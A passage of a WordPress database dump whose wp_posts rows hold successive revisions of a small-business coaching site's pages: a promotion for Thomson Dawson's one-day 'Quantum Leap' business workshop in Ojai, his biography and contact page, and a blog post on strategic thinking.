'145-revision-v1', '', '', '2014-01-29 16:25:27', '2014-01-29 23:25:27', '', 145, 'http://www.whitehotcenter.com/2014/01/145-revision-148/', 0, 'revision', '', 0),
(2582, 2, '2014-01-29 16:54:56', '2014-01-29 23:54:56', '&nbsp;\r\n\r\n<img class="alignnone size-full wp-image-2386" title="Quantum Leap Workshop" src="http://whc.fbdev.org/wp-content/uploads/2009/04/unconference1.jpg" alt="" width="495" height="188" />\r\n\r\n<img class="alignnone size-full wp-image-1965" title="WHC-Quantum" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Quantum.jpg" alt="" width="490" height="363" />\r\n\r\n<iframe src="http://www.youtube.com/embed/ZhBhjF7ocW0" frameborder="0" width="490" height="249"></iframe>\r\n<h2><strong>White Hot Center Presents:\r\nThe Quantum Leap\r\nBusiness Transformation Workshop</strong><strong>\r\n</strong></h2>\r\n<h2><strong>Strategies for Creating Competitive Advantage\r\nfor Entrepreneurs, Solo Professionals and Small Business Owners\r\nMay 16, 2014\r\nOjai, California\r\n</strong></h2>\r\n<h2><strong>Facilitated by\r\nThomson Dawson\r\nStrategic Brand Development\r\nand Business Transformation Expert\r\n</strong></h2>\r\n<h2><span style="color: #ff8c00;">A one-day intensive business transformation workshop designed to guide early stage entrepreneurs, solo professionals and small business owners to build a solid foundation for brand strategy, marketing, business development and sales success.</span></h2>\r\nWatch the video to learn more about what we’ll cover in the workshop.\r\n\r\n<strong>Transforming your business for the next level of growth.</strong>\r\n\r\nIf you’re an early stage entrepreneur, self-employed professional or small business owner, you know the importance of having a steady stream of clients and customers coming your way. The truth is many entrepreneurs struggle creating a consistent stream of higher value clients. Many more resist the marketing and sales process altogether opting instead to rely only on referrals for new business.\r\n\r\nReferrals are critically important, but they’re unpredictable– not enough to grow your business with sustainable, profitable results. To succeed in the hyper-competitive marketplace today, you must embrace the idea of building your brand, marketing your value with consistency, and the mastery of business development, lead generation and sales pipeline as the essential skill for your business success.\r\n\r\nMore importantly, you’ll need to stay in the right frame of mind to guide your creativity and effective actions, if you are to turn your greater possibilities into achievement.\r\n\r\nThe reality in today’s new economy is clients and customers have abundant choice. When clients have abundant choice, competition and commoditization become the dominant forces in the marketplace. In this unique seminar you’ll learn the strategies and practices that will enable you to make competition irrelevant!\r\n\r\nHere’s what you’ll learn:\r\n\r\n<strong>Principles on mastering the "inner game" of business and life success.</strong>\r\n\r\n<strong>How to gain radical advantage over would-be competitors in an ultra-competitive marketplace.</strong>\r\n\r\n<strong>How to target and find the right clients who are a perfect fit for you.</strong>\r\n\r\n<strong>How to differentiate your business from alternatives to your firm in ways that matter to your clients!</strong>\r\n\r\n<strong>How to command premium prices and greater profit margins when your competitors are discounting their price to win business.</strong>\r\n\r\n<strong>How to develop a compelling brand that represents your value to customers in ways that enable you to command premium pricing.</strong>\r\n\r\n<strong>How to master your personal effectivness and performance.</strong>\r\n\r\n<strong>How to create more opportunity than you have capacity so you can be choosy about who you work with, and what you type of products and services you’ll offer higher value customers.</strong>\r\n<h2> <strong>If you’re serious about growing your business to the next level so you can have more impact, influence and income, you will not want to miss attending this strategic business transformation workshop designed and facilitated by Business Transformation and Brand Strategy expert Thomson Dawson.\r\n</strong></h2>\r\n&nbsp;\r\n\r\n<img class="alignnone size-full wp-image-2382" title="Thomson Dawson" src="http://whc.fbdev.org/wp-content/uploads/2009/06/thomson-sd-1.jpg" alt="" width="515" height="361" />\r\n<h2><strong></strong> <span style="color: #ff8c00;">Spend one important day working on your business rather than in it. Spend one day building a solid framework and foundation for your brand, business development and sales success. Spend one day innovating your bigger, better future and get your business to the next level.</span></h2>\r\n<strong>Who should attend?</strong>\r\nWe’ve developed this transformational business transformation workshop for all early stage  entreprenuers,  solo professionals and small busness owners and their teams who seek insight, guidance and creativity to take their business to the next level.\r\n\r\n<strong>Investment:</strong>\r\n$895.00 USD per person\r\nSpecial discount of $100 off for early registration prior to April 18, 2014\r\nAdditional discount of $95 off for each additional person in your firm prior to April 18, 2014.\r\n\r\nTuition fee must be paid 30 days in advance of the Workshop. No refunds or credits within 14 days of the workshop.\r\n\r\nTuition includes Workshop Materials, Luncheon, and Snacks served throughout the day at the venue.\r\n\r\n<strong>This workshop is limited to 24 participants.</strong>\r\n<h3><span style="color: #888888;">Early Registration\r\n</span></h3>\r\nSend an <strong><a href="mailto://thomson@whitehotcenter.com" target="_blank">email</a></strong> and we’ll get right back to you with the full information on the venue location, accomodations, and how to confirm your spot in early registration prior to April 18, 2013. This workshop has limited capacity and will fill up quickly.\r\n<h3><a title="Quantum Leap Workshop Registration" href="mailto://thomson@whitehotcenter.com" target="_blank"><strong>Register Now and Save!</strong></a></h3>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2014-01-29 16:54:56', '2014-01-29 23:54:56', '', 145, 'http://www.whitehotcenter.com/2014/01/145-revision-149/', 0, 'revision', '', 0),
(2583, 2, '2014-02-26 11:24:42', '2014-02-26 18:24:42', '', 'Thomson Quantum Leap Workshop', 0, '', 'inherit', 'open', 'open', '', 'thomson-workshop', '', '', '2014-02-26 11:24:42', '2014-02-26 18:24:42', '', 143, 'http://www.whitehotcenter.com/wp-content/uploads/2009/04/thomson-workshop.jpg', 0, 'attachment', 'image/jpeg', 0);
INSERT INTO `wp_posts` (`ID`, `post_author`, `post_date`, `post_date_gmt`, `post_content`, `post_title`, `post_category`, `post_excerpt`, `post_status`, `comment_status`, `ping_status`, `post_password`, `post_name`, `to_ping`, `pinged`, `post_modified`, `post_modified_gmt`, `post_content_filtered`, `post_parent`, `guid`, `menu_order`, `post_type`, `post_mime_type`, `comment_count`) VALUES
(2584, 2, '2014-01-29 16:53:02', '2014-01-29 23:53:02', '<h2><img class="size-full wp-image-246 alignnone" title="1015.nordoff-view" src="http://whc.fbdev.org/wp-content/uploads/2009/04/1015.nordoff-view.gif" alt="1015.nordoff-view" width="450" height="361" /></h2>\r\n<h2><strong>Contact me in the orange grove:</strong></h2>\r\n<strong>The White Hot Center\r\nInspired Success\r\nPart of the Dawson+Company Creative Group Inc.\r\nOjai, California 93203 USA\r\n805 886 5902 mobile\r\n</strong>\r\n<h1><span style="color: #ff8c00;"><strong><span style="color: #000000;">What I love to do:</span></strong></span></h1>\r\n<h2><span style="color: #000000;"><strong>Inspire and guide entreprenuers, solo professionals and small business owners to gain more clarity and confidence to create a better future with more impact, influence and income.</strong></span> How can I help you take your business to the next level?</h2>\r\n<h2><span style="color: #000000;">About Thomson Dawson</span>\r\nStrategic Brand Development and Business Transformation Expert</h2>\r\n<span style="color: #808080;"><strong>Thomson </strong><strong>has been a successful creative entrepreneur in the corporate and marketing communications business for nearly 30 years.</strong>\r\n</span>\r\n\r\n<span style="color: #808080;"><strong>In 1980, after a stint working at several advertising agencies, Thomson founded Dawson+Company Creative Group, a leading corporate communications and design agency headquartered in Grand Rapids, Michigan. </strong></span>\r\n\r\n<span style="color: #808080;"><strong>Dawson+Company Creative Group was internationally recognized for its award winning work in marketing communications, corporate and brand identity development, brand strategy,  corporate communications, branded environment design, and retail packaging and merchandising. </strong></span>\r\n\r\n<span style="color: #808080;"><strong>Within the first five years, he established his creative business into one of the most respected and sought after creative firms in the US. Over the course of his business career he has sold millions of dollars in creative service fee billings. Thomson has successfully served over 70 established and emerging client organizations in diverse industries in the US and Europe. </strong></span>\r\n\r\n<span style="color: #808080;"><strong>His corporate clients have included Abbott, Amway, Acura, Brunswick, Coleman, Delhaize USA, Energizer, Fellowes, Haworth, Herman Miller, Hewlett-Packard, Honda, LALA USA, Jockey, Mannington Flooring, Micron Technology, Steelcase, Volkswagen, Wolverine Worldwide and X-Rite Corporation.</strong></span>\r\n\r\n<span style="color: #808080;"><strong>In 2008, leveraging his significant business experience serving leading corporate clients, Thomson founded the White Hot Center, an online resource of insight, inspiration, guidance, and business development training and consulting for early stage creative entrepreneurs, solo professionals and small business owners who seek more impact, influence and income in their growing business.\r\n</strong></span>\r\n\r\n<span style="color: #808080;"><strong>Through the White Hot Center, Thomson provides entrepreneurs and their teams with professional development, brand development, marketing and business development education, training and consulting.\r\n</strong></span>\r\n\r\n<span style="color: #808080;"><strong>Thomson is an avid writer, speaker and thought leader on brand strategy, marketing, value creation, professional and business development.  He is a contributing writer to many blogs and publications including the highly acclaimed <a title="Branding Strategy Insider" href="http://www.brandingstrategyinsider.com/2011/09/the-future-belongs-to-brands-that-build-great-value.html" target="_blank">Branding Strategy Insider</a> blog, one of the 50 top branding blogs according to Advertising Age.</strong></span>\r\n\r\n<img class="alignnone size-full wp-image-2373" title="Thomson Dawson, Author and Speaker" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-kendall-1.jpg" alt="" width="495" height="298" />\r\n\r\n<img class="alignnone size-full wp-image-2374" title="Thomson Dawson, Author and Speaker" src="http://whc.fbdev.org/wp-content/uploads/2009/04/whc.thomson-51.jpg" alt="" width="495" height="252" />\r\n<h2><span style="color: #000000;"><strong>Have Thomson speak at your upcoming event:</strong></span></h2>\r\n<h3><span style="color: #000000;"><span style="color: #e47906;">Thomson provides inspirational talks centered on professional developmennt, creativity, innovation and building competitive advantage in your business. He speaks regularly at business conferences, universities, industry groups and trade associations. Some talks are pro-bono, some for expenses, and others for a fee and expenses. If you have an interest in presenting Thomson at your upcoming event, just send an email detailing your specific requirements.</span></span></h3>\r\n<h3><span style="color: #000000;"><span style="color: #e47906;"><a title="Have Thomson speak at your event!" href="mailto://thomson@whitehotcenter.com" target="_blank">Email to book Thomson to speak at your event</a></span></span></h3>', 'Get to know Thomson Dawson.', 0, '', 'inherit', 'open', 'open', '', '143-revision-v1', '', '', '2014-01-29 16:53:02', '2014-01-29 23:53:02', '', 143, 'http://www.whitehotcenter.com/2014/01/143-revision-61/', 0, 'revision', '', 0),
(2587, 2, '2014-01-30 18:38:30', '2014-01-31 01:38:30', '&nbsp;\r\n\r\n<img class="alignnone size-full wp-image-2386" title="Quantum Leap Workshop" src="http://whc.fbdev.org/wp-content/uploads/2009/04/unconference1.jpg" alt="" width="495" height="188" />\r\n\r\n<img class="alignnone size-full wp-image-1965" title="WHC-Quantum" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Quantum.jpg" alt="" width="490" height="363" />\r\n\r\n<iframe src="http://www.youtube.com/embed/ZhBhjF7ocW0" frameborder="0" width="490" height="249"></iframe>\r\n<h2><strong>White Hot Center Presents:\r\nThe Quantum Leap\r\nBusiness Transformation Workshop</strong><strong>\r\n</strong></h2>\r\n<h2><strong>Strategies for Creating Competitive Advantage\r\nfor Entrepreneurs, Solo Professionals and Small Business Owners\r\nMay 16, 2014\r\nOjai, California\r\n</strong></h2>\r\n<h2><strong>Facilitated by\r\nThomson Dawson\r\nStrategic Brand Development\r\nand Business Transformation Expert\r\n</strong></h2>\r\n<h2><span style="color: #ff8c00;">A one-day intensive business transformation workshop designed to guide early stage entrepreneurs, solo professionals and small business owners to build a solid foundation for brand strategy, marketing, business development and sales success.</span></h2>\r\nWatch the video to learn more about what we’ll cover in the workshop.\r\n\r\n<strong>Transforming your business for the next level of growth.</strong>\r\n\r\nIf you’re an early stage entrepreneur, self-employed professional or small business owner, you know the importance of having a steady stream of clients and customers coming your way. The truth is many entrepreneurs struggle creating a consistent stream of higher value clients. Many more resist the marketing and sales process altogether opting instead to rely only on referrals for new business.\r\n\r\nReferrals are critically important, but they’re unpredictable– not enough to grow your business with sustainable, profitable results. To succeed in the hyper-competitive marketplace today, you must embrace the idea of building your brand, marketing your value with consistency, and the mastery of business development, lead generation and sales pipeline as the essential skill for your business success.\r\n\r\nMore importantly, you’ll need to stay in the right frame of mind to guide your creativity and effective actions, if you are to turn your greater possibilities into achievement.\r\n\r\nThe reality in today’s new economy is clients and customers have abundant choice. When clients have abundant choice, competition and commoditization become the dominant forces in the marketplace. In this unique seminar you’ll learn the strategies and practices that will enable you to make competition irrelevant!\r\n\r\nHere’s what you’ll learn:\r\n\r\n<strong>Principles on mastering the "inner game" of business and life success.</strong>\r\n\r\n<strong>How to gain radical advantage over would-be competitors in an ultra-competitive marketplace.</strong>\r\n\r\n<strong>How to target and find the right clients who are a perfect fit for you.</strong>\r\n\r\n<strong>How to differentiate your business from alternatives to your firm in ways that matter to your clients!</strong>\r\n\r\n<strong>How to command premium prices and greater profit margins when your competitors are discounting their price to win business.</strong>\r\n\r\n<strong>How to develop a compelling brand that represents your value to customers in ways that enable you to command premium pricing.</strong>\r\n\r\n<strong>How to master your personal effectivness and performance.</strong>\r\n\r\n<strong>How to create more opportunity than you have capacity so you can be choosy about who you work with, and what you type of products and services you’ll offer higher value customers.</strong>\r\n<h2> <strong>If you’re serious about growing your business to the next level so you can have more impact, influence and income, you will not want to miss attending this strategic business transformation workshop designed and facilitated by Business Transformation and Brand Strategy expert Thomson Dawson.\r\n</strong></h2>\r\n&nbsp;\r\n\r\n<img class="alignnone size-full wp-image-2382" title="Thomson Dawson" src="http://whc.fbdev.org/wp-content/uploads/2009/06/thomson-sd-1.jpg" alt="" width="515" height="361" />\r\n<h2><strong></strong> <span style="color: #ff8c00;">Spend one important day working on your business rather than in it. Spend one day building a solid framework and foundation for your brand, business development and sales success. Spend one day innovating your bigger, better future and get your business to the next level.</span></h2>\r\n<strong>Who should attend?</strong>\r\nWe’ve developed this transformational business transformation workshop for all early stage  entreprenuers,  solo professionals and small busness owners and their teams who seek insight, guidance and creativity to take their business to the next level.\r\n\r\n<strong>Investment:</strong>\r\n$695.00 USD per person\r\nSpecial discount of $50 off for early registration prior to April 18, 2014\r\nAdditional discount of $30 off for each additional person in your firm prior to April 18, 2014.\r\n\r\nTuition fee must be paid 30 days in advance of the Workshop. No refunds or credits within 14 days of the workshop.\r\n\r\nTuition includes Workshop Materials, Luncheon, and Snacks served throughout the day at the venue.\r\n\r\n<strong>This workshop is limited to 24 participants.</strong>\r\n<h3><span style="color: #888888;">Early Registration\r\n</span></h3>\r\nSend an <strong><a href="mailto://thomson@whitehotcenter.com" target="_blank">email</a></strong> and we’ll get right back to you with the full information on the venue location, accomodations, and how to confirm your spot in early registration prior to April 18, 2013. This workshop has limited capacity and will fill up quickly.\r\n<h3><a title="Quantum Leap Workshop Registration" href="mailto://thomson@whitehotcenter.com" target="_blank"><strong>Register Now and Save!</strong></a></h3>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2014-01-30 18:38:30', '2014-01-31 01:38:30', '', 145, 'http://www.whitehotcenter.com/2014/01/145-revision-150/', 0, 'revision', '', 0),
(2589, 2, '2014-03-22 12:06:21', '2014-03-22 19:06:21', '', 'Are you a strategic thinker?', 0, '', 'inherit', 'open', 'open', '', 'untitled-1', '', '', '2014-03-22 12:06:21', '2014-03-22 19:06:21', '', 2588, 'http://www.whitehotcenter.com/wp-content/uploads/2014/03/Untitled-1.jpg', 0, 'attachment', 'image/jpeg', 0),
(2590, 2, '2014-03-22 12:09:53', '2014-03-22 19:09:53', '<a href="http://whc.fbdev.org/wp-content/uploads/2014/03/Untitled-1.jpg"><img class="alignnone size-full wp-image-2589" title="Are you a strategic thinker?" src="http://whc.fbdev.org/wp-content/uploads/2014/03/Untitled-1.jpg" alt="" width="495" height="263" /></a>\n<h1>Strategic thinking is a skill that can’t be taught– it’s a natural inclination you’re born with. Are you a strategic thinker?</h1>\nI spend most of my time consulting with clients on strategy–helping them to see useful patterns where everyone sees complexity. In my experience, most creative entrepreneurs just what to know HOW to get to their goal. That’s tactics not strategy.  Strategic thinking requires you know WHY you are intent on pursuing any particular course of action.\n\nWhen you are clear about your why, the how to get there seemingly takes care of itself. Like gravity, I don’t know how this principle works, I just know it does.\n\nBeing a strategic thinker is a gift. You have it or you don’t.  Interestingly enough, those with the gift of strategic thinking hardly see at such. Like all natural systems –like breathing– your gifts operate naturally mostly under your awareness. You may be a brilliant strategic thinker but have yet to acknowledge it and self apply it to your conscious behavior.\n\nTo help you connect with your gift for strategic thinking and the power it has to strengthen your resolve to achieve any desire, here are several attributes and themes that may seem familiar to you and are shared by all strategic thinkers.\n\n<strong>Strategic thinkers see through the clutter and the bullshit.</strong>\nThey have an extraordinary perspective on how the world works. They “see” pathways hidden inside complexity. These pathways or insights often result in uncanny solutions rich in their obvious simplicity.\n\n<strong>Strategic thinkers are naturally curious always asking “what-if” questions.</strong>\nThey link “what if “scenarios together like pearls in a necklace. They are always few moves ahead of where the world happens to be on the chessboard of life. They’re relentless in their questions, which usually enables them to spot trends that have lucrative opportunities embedded within them.\n\n<strong>Strategic thinkers think about the important and not so much on the urgent.</strong>\nWhile others focus on navel gazing their immediate circumstances, strategic thinkers find it incredibly obvious that if you look down the road and decide what you want to have happen when you get there, you won’t be a victim of your current circumstances anymore.\n\n<strong>Strategic thinkers evaluate risks and obstacles.</strong>\nThey see repercussions more clearly than others. They don’t pursue any course of action without careful consideration of the downside. Then they systematically assess “if this or that happens, can we live with that outcome?”  They are usually more prepared and ready for where events may lead them.\n\n<strong>Strategic thinkers are not attached to their own preconceived ideas. </strong>\nThey use their insight and intuition to cull through and discard the potential pathways leading to resistance and confusion.\n\n<strong>Strategic thinkers take determined action.</strong>\nThey don’t procrastinate and wring their hands in worry and fret. They strike forward confidently armed with their strategy.  Through their action they keep their vivid vision from becoming a pipe dream.\n\nThere’s an old saying “it takes one to know one” Hopefully that’s the case for you!Our natural inclinations always reveal our strengths. If you have the awareness and application of your inner strengths, you’ll spend less time thinking about your shortcomings.\n\n&nbsp;\n\n<em>If you found this post interesting, please share with your network and subscribe to the blog!</em>\n\n&nbsp;\n\n&nbsp;\n\n&nbsp;\n\n&nbsp;', 'Are you a strategic thinker?', 0, '', 'inherit', 'open', 'open', '', '2588-revision', '', '', '2014-03-22 12:09:53', '2014-03-22 19:09:53', '', 2588, 'http://www.whitehotcenter.com/2014/03/2588-revision/', 0, 'revision', '', 0),
(2593, 2, '2014-03-22 12:15:01', '2014-03-22 19:15:01', '<a href="http://whc.fbdev.org/wp-content/uploads/2014/03/Untitled-1.jpg"><img class="alignnone size-full wp-image-2589" title="Are you a strategic thinker?" src="http://whc.fbdev.org/wp-content/uploads/2014/03/Untitled-1.jpg" alt="" width="495" height="263" /></a>\n<h1>Strategic thinking is a skill that can’t be taught– it’s a natural inclination you’re born with. Are you a strategic thinker?</h1>\nI spend most of my time consulting with clients on strategy–helping them to see useful patterns where everyone sees complexity. In my experience, most creative entrepreneurs just what to know HOW to get to their goal. That’s tactics not strategy.  Strategic thinking requires you know WHY you are intent on pursuing any particular course of action.\n\nWhen you are clear about your why, the how to get there seemingly takes care of itself. Like gravity, I don’t know how this principle works, I just know it does.\n\nBeing a strategic thinker is a gift. You have it or you don’t.  Interestingly enough, those with the gift of strategic thinking hardly see at such. Like all natural systems –like breathing– your gifts operate naturally mostly under your awareness. You may be a brilliant strategic thinker but have yet to acknowledge it and self apply it to your conscious behavior.\n\nTo help you connect with your gift for strategic thinking and the power it has to strengthen your resolve to achieve any desire, here are several attributes and themes that may seem familiar to you and are shared by all strategic thinkers.\n\n<strong>Strategic thinkers see through the clutter and the bullshit.</strong>\nThey have an extraordinary perspective on how the world works. They “see” pathways hidden inside complexity. These pathways or insights often result in uncanny solutions rich in their obvious simplicity.\n\n<strong>Strategic thinkers are naturally curious always asking “what-if” questions.</strong>\nThey link “what if “scenarios together like pearls in a necklace. They are always few moves ahead of where the world happens to be on the chessboard of life. They’re relentless in their questions, which usually enables them to spot trends that have lucrative opportunities embedded within them.\n\n<strong>Strategic thinkers think about the important and not so much on the urgent.</strong>\nWhile others focus on navel gazing their immediate circumstances, strategic thinkers find it incredibly obvious that if you look down the road and decide what you want to have happen when you get there, you won’t be a victim of your current circumstances anymore.\n\n<strong>Strategic thinkers evaluate risks and obstacles.</strong>\nThey see repercussions more clearly than others. They don’t pursue any course of action without careful consideration of the downside. Then they systematically assess “if this or that happens, can we live with that outcome?”  They are usually more prepared and ready for where events may lead them.\n\n<strong>Strategic thinkers are not attached to their own preconceived ideas. </strong>\nThey use their insight and intuition to cull through and discard the potential pathways leading to resistance and confusion.\n\n<strong>Strategic thinkers take determined action.</strong>\nThey don’t procrastinate and wring their hands in worry and fret. They strike forward confidently armed with their strategy.  Through their action they keep their vivid vision from becoming a pipe dream.\n\nThere’s an old saying “it takes one to know one” Hopefully that’s the case for you! Our natural inclinations always reveal our strengths. If you have the awareness and application of your inner strengths, you’ll spend less time thinking about your shortcomings.\n\n<em><strong>If you found this post interesting, please share with your network and subscribe to the blog!</strong></em>', 'Are you a strategic thinker?', 0, '', 'inherit', 'open', 'open', '', '2588-revision-4', '', '', '2014-03-22 12:15:01', '2014-03-22 19:15:01', '', 2588, 'http://www.whitehotcenter.com/2014/03/2588-revision-4/', 0, 'revision', '', 0),
(2591, 2, '2014-03-22 12:10:23', '2014-03-22 19:10:23', '<a href="http://whc.fbdev.org/wp-content/uploads/2014/03/Untitled-1.jpg"><img class="alignnone size-full wp-image-2589" title="Are you a strategic thinker?" src="http://whc.fbdev.org/wp-content/uploads/2014/03/Untitled-1.jpg" alt="" width="495" height="263" /></a>\r\n<h1>Strategic thinking is a skill that can’t be taught– it’s a natural inclination you’re born with. Are you a strategic thinker?</h1>\r\nI spend most of my time consulting with clients on strategy–helping them to see useful patterns where everyone sees complexity. In my experience, most creative entrepreneurs just what to know HOW to get to their goal. That’s tactics not strategy.  Strategic thinking requires you know WHY you are intent on pursuing any particular course of action.\r\n\r\nWhen you are clear about your why, the how to get there seemingly takes care of itself. Like gravity, I don’t know how this principle works, I just know it does.\r\n\r\nBeing a strategic thinker is a gift. You have it or you don’t.  Interestingly enough, those with the gift of strategic thinking hardly see at such. Like all natural systems –like breathing– your gifts operate naturally mostly under your awareness. You may be a brilliant strategic thinker but have yet to acknowledge it and self apply it to your conscious behavior.\r\n\r\nTo help you connect with your gift for strategic thinking and the power it has to strengthen your resolve to achieve any desire, here are several attributes and themes that may seem familiar to you and are shared by all strategic thinkers.\r\n\r\n<strong>Strategic thinkers see through the clutter and the bullshit.</strong>\r\nThey have an extraordinary perspective on how the world works. They “see” pathways hidden inside complexity. These pathways or insights often result in uncanny solutions rich in their obvious simplicity.\r\n\r\n<strong>Strategic thinkers are naturally curious always asking “what-if” questions.</strong>\r\nThey link “what if “scenarios together like pearls in a necklace. They are always few moves ahead of where the world happens to be on the chessboard of life. They’re relentless in their questions, which usually enables them to spot trends that have lucrative opportunities embedded within them.\r\n\r\n<strong>Strategic thinkers think about the important and not so much on the urgent.</strong>\r\nWhile others focus on navel gazing their immediate circumstances, strategic thinkers find it incredibly obvious that if you look down the road and decide what you want to have happen when you get there, you won’t be a victim of your current circumstances anymore.\r\n\r\n<strong>Strategic thinkers evaluate risks and obstacles.</strong>\r\nThey see repercussions more clearly than others. They don’t pursue any course of action without careful consideration of the downside. Then they systematically assess “if this or that happens, can we live with that outcome?”  They are usually more prepared and ready for where events may lead them.\r\n\r\n<strong>Strategic thinkers are not attached to their own preconceived ideas. </strong>\r\nThey use their insight and intuition to cull through and discard the potential pathways leading to resistance and confusion.\r\n\r\n<strong>Strategic thinkers take determined action.</strong>\r\nThey don’t procrastinate and wring their hands in worry and fret. They strike forward confidently armed with their strategy.  Through their action they keep their vivid vision from becoming a pipe dream.\r\n\r\nThere’s an old saying “it takes one to know one” Hopefully that’s the case for you! Our natural inclinations always reveal our strengths. If you have the awareness and application of your inner strengths, you’ll spend less time thinking about your shortcomings.\r\n\r\n<em><strong>If you found this post interesting, please share with your network and subscribe to the blog!</strong></em>\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;', 'Are you a strategic thinker?', 0, '', 'inherit', 'open', 'open', '', '2588-revision-2', '', '', '2014-03-22 12:10:23', '2014-03-22 19:10:23', '', 2588, 'http://www.whitehotcenter.com/2014/03/2588-revision-2/', 0, 'revision', '', 0),
(2592, 2, '2014-03-22 12:10:28', '2014-03-22 19:10:28', '<a href="http://whc.fbdev.org/wp-content/uploads/2014/03/Untitled-1.jpg"><img class="alignnone size-full wp-image-2589" title="Are you a strategic thinker?" src="http://whc.fbdev.org/wp-content/uploads/2014/03/Untitled-1.jpg" alt="" width="495" height="263" /></a>\r\n<h1>Strategic thinking is a skill that can’t be taught– it’s a natural inclination you’re born with. Are you a strategic thinker?</h1>\r\nI spend most of my time consulting with clients on strategy–helping them to see useful patterns where everyone sees complexity. In my experience, most creative entrepreneurs just what to know HOW to get to their goal. That’s tactics not strategy.  Strategic thinking requires you know WHY you are intent on pursuing any particular course of action.\r\n\r\nWhen you are clear about your why, the how to get there seemingly takes care of itself. Like gravity, I don’t know how this principle works, I just know it does.\r\n\r\nBeing a strategic thinker is a gift. You have it or you don’t.  Interestingly enough, those with the gift of strategic thinking hardly see at such. Like all natural systems –like breathing– your gifts operate naturally mostly under your awareness. You may be a brilliant strategic thinker but have yet to acknowledge it and self apply it to your conscious behavior.\r\n\r\nTo help you connect with your gift for strategic thinking and the power it has to strengthen your resolve to achieve any desire, here are several attributes and themes that may seem familiar to you and are shared by all strategic thinkers.\r\n\r\n<strong>Strategic thinkers see through the clutter and the bullshit.</strong>\r\nThey have an extraordinary perspective on how the world works. They “see” pathways hidden inside complexity. These pathways or insights often result in uncanny solutions rich in their obvious simplicity.\r\n\r\n<strong>Strategic thinkers are naturally curious always asking “what-if” questions.</strong>\r\nThey link “what if “scenarios together like pearls in a necklace. They are always few moves ahead of where the world happens to be on the chessboard of life. They’re relentless in their questions, which usually enables them to spot trends that have lucrative opportunities embedded within them.\r\n\r\n<strong>Strategic thinkers think about the important and not so much on the urgent.</strong>\r\nWhile others focus on navel gazing their immediate circumstances, strategic thinkers find it incredibly obvious that if you look down the road and decide what you want to have happen when you get there, you won’t be a victim of your current circumstances anymore.\r\n\r\n<strong>Strategic thinkers evaluate risks and obstacles.</strong>\r\nThey see repercussions more clearly than others. They don’t pursue any course of action without careful consideration of the downside. Then they systematically assess “if this or that happens, can we live with that outcome?”  They are usually more prepared and ready for where events may lead them.\r\n\r\n<strong>Strategic thinkers are not attached to their own preconceived ideas. </strong>\r\nThey use their insight and intuition to cull through and discard the potential pathways leading to resistance and confusion.\r\n\r\n<strong>Strategic thinkers take determined action.</strong>\r\nThey don’t procrastinate and wring their hands in worry and fret. They strike forward confidently armed with their strategy.  Through their action they keep their vivid vision from becoming a pipe dream.\r\n\r\nThere’s an old saying “it takes one to know one” Hopefully that’s the case for you! Our natural inclinations always reveal our strengths. If you have the awareness and application of your inner strengths, you’ll spend less time thinking about your shortcomings.\r\n\r\n<em><strong>If you found this post interesting, please share with your network and subscribe to the blog!</strong></em>\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;', 'Are you a strategic thinker?', 0, '', 'inherit', 'open', 'open', '', '2588-revision-3', '', '', '2014-03-22 12:10:28', '2014-03-22 19:10:28', '', 2588, 'http://www.whitehotcenter.com/2014/03/2588-revision-3/', 0, 'revision', '', 0),
(2594, 2, '2014-03-22 12:16:31', '2014-03-22 19:16:31', '<a href="http://whc.fbdev.org/wp-content/uploads/2014/03/Untitled-1.jpg"><img class="alignnone size-full wp-image-2589" title="Are you a strategic thinker?" src="http://whc.fbdev.org/wp-content/uploads/2014/03/Untitled-1.jpg" alt="" width="495" height="263" /></a>\r\n<h1>Strategic thinking is a skill that can’t be taught– it’s a natural inclination you’re born with. Are you a strategic thinker?</h1>\r\nI spend most of my time consulting with clients on strategy–helping them to see useful patterns where everyone sees complexity. In my experience, most creative entrepreneurs just what to know HOW to get to their goal. That’s tactics not strategy.  Strategic thinking requires you know WHY you are intent on pursuing any particular course of action.\r\n\r\nWhen you are clear about your why, the how to get there seemingly takes care of itself. Like gravity, I don’t know how this principle works, I just know it does.\r\n\r\nBeing a strategic thinker is a gift. You have it or you don’t.  Interestingly enough, those with the gift of strategic thinking hardly see at such. Like all natural systems –like breathing– your gifts operate naturally mostly under your awareness. You may be a brilliant strategic thinker but have yet to acknowledge it and self apply it to your conscious behavior.\r\n\r\nTo help you connect with your gift for strategic thinking and the power it has to strengthen your resolve to achieve any desire, here are several attributes and themes that may seem familiar to you and are shared by all strategic thinkers.\r\n\r\n<strong>Strategic thinkers see through the clutter and the bullshit.</strong>\r\nThey have an extraordinary perspective on how the world works. They “see” pathways hidden inside complexity. These pathways or insights often result in uncanny solutions rich in their obvious simplicity.\r\n\r\n<strong>Strategic thinkers are naturally curious always asking “what-if” questions.</strong>\r\nThey link “what if “scenarios together like pearls in a necklace. They are always few moves ahead of where the world happens to be on the chessboard of life. They’re relentless in their questions, which usually enables them to spot trends that have lucrative opportunities embedded within them.\r\n\r\n<strong>Strategic thinkers think about the important and not so much on the urgent.</strong>\r\nWhile others focus on navel gazing their immediate circumstances, strategic thinkers find it incredibly obvious that if you look down the road and decide what you want to have happen when you get there, you won’t be a victim of your current circumstances anymore.\r\n\r\n<strong>Strategic thinkers evaluate risks and obstacles.</strong>\r\nThey see repercussions more clearly than others. They don’t pursue any course of action without careful consideration of the downside. Then they systematically assess “if this or that happens, can we live with that outcome?”  They are usually more prepared and ready for where events may lead them.\r\n\r\n<strong>Strategic thinkers are not attached to their own preconceived ideas. </strong>\r\nThey use their insight and intuition to cull through and discard the potential pathways leading to resistance and confusion.\r\n\r\n<strong>Strategic thinkers take determined action.</strong>\r\nThey don’t procrastinate and wring their hands in worry and fret. They strike forward confidently armed with their strategy.  Through their action they keep their vivid vision from becoming a pipe dream.\r\n\r\nThere’s an old saying “it takes one to know one” Hopefully that’s the case for you! Our natural inclinations always reveal our strengths. If you have the awareness and application of your inner strengths, you’ll spend less time thinking about your shortcomings.\r\n\r\n<em><strong>If you found this post interesting, please share with your network and subscribe to the blog!</strong></em>', 'Are you a strategic thinker?', 0, 